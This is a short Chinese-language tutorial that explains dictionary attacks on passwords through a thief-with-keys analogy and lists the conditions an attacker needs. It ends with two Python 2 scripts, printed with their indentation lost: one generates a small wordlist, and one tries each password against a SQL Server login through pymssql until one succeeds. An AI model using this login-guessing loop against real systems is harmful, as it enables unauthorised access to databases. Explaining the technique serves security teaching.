简介

字典攻击是一种在破解密码或密钥时,逐一尝试用户自定义词典中的可能密码(单词或短语)的攻击方式。与暴力破解的区别是,暴力破解会逐一尝试所有可能的组合密码,而字典式攻击会使用一个预先定义好的单词列表(可能的密码)。

月黑风高之夜,一个小偷拿着从仓库管理员那儿偷来的一串钥匙,躲过岗哨摸到库房,看着库房大门挂着的大锁,哪一把钥匙才能打开门呢?显然最直接的方法就是一把一把的试,直到打开为止,或者所有钥匙都打不开,无功而返。

这件事儿对小偷来说略显机械枯燥,而且时间拖久了还有被抓的危险。可这样的重复劳动正适合计算机干——对了,这种方法就是网络安全领域里“字典攻击”的原型。

当黑客试图进入目标系统时被告知需要提供口令,而他对此并不知晓(正如上面那位小偷并不确定钥匙是哪一把),他可以采用这样的方法:将收藏的备选口令集(这个口令集可能包含着成千上万个备选口令)输入到他的程序中,依次向目标系统发起认证请求,直到某一个口令可以通过认证——或者所有这些口令均无效,宣告此方法失败并结束本次入侵行为(或者继续查找系统有无别的弱点)。

条件

  1. 黑客了解认证方式(包括认证协议以及地址、端口等信息),如同小偷需要知道库房在哪儿,房门挂着的是大铜锁还是密码锁,甚至虹膜、指纹识别?拿着一串金属钥匙想打开生指纹识别锁显然不现实。
  1. 黑客拥有比较全面的口令集,包含着各类常见的弱口令,或者目标系统经常出现的组合口令,或者目标系统曾经泄露的口令集。这样才有更多的尝试机会。通常一次字典攻击的实施还是很耗费时间的,特别是目标系统的口令不那么常见。

实例

运行环境:Kali2.0->python2.7.14

1
2
3
4
5
6
7
8
9
10
11
'''生成密码字典'''
dic = open('1.txt','w+')
word = ["r","o","t"]
for a in range(0,len(word)):
for b in range(0,len(word)):
for c in range(0,len(word)):
for d in range(0,len(word)):
pass1,pass2,pass3,pass4 = word[a],word[b],word[c],word[d]
dic.write(pass1 + pass2 + pass3 + pass4 + '\n')
print(pass1,pass2,pass3,pass4)
dic.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
'''实行字典攻击'''
import pymssql,sys
passFile = open(sys.argv[3],'r')
for i in passFile.readlines():
passWord = i.strip("\n")
print "[*]Testing {}".format(passWord)
try:
conn = pymssql.connect(sys.argv[1],sys.argv[2],passWord)
except:
pass
else:
print "[+]The password is {}".format(passWord)
break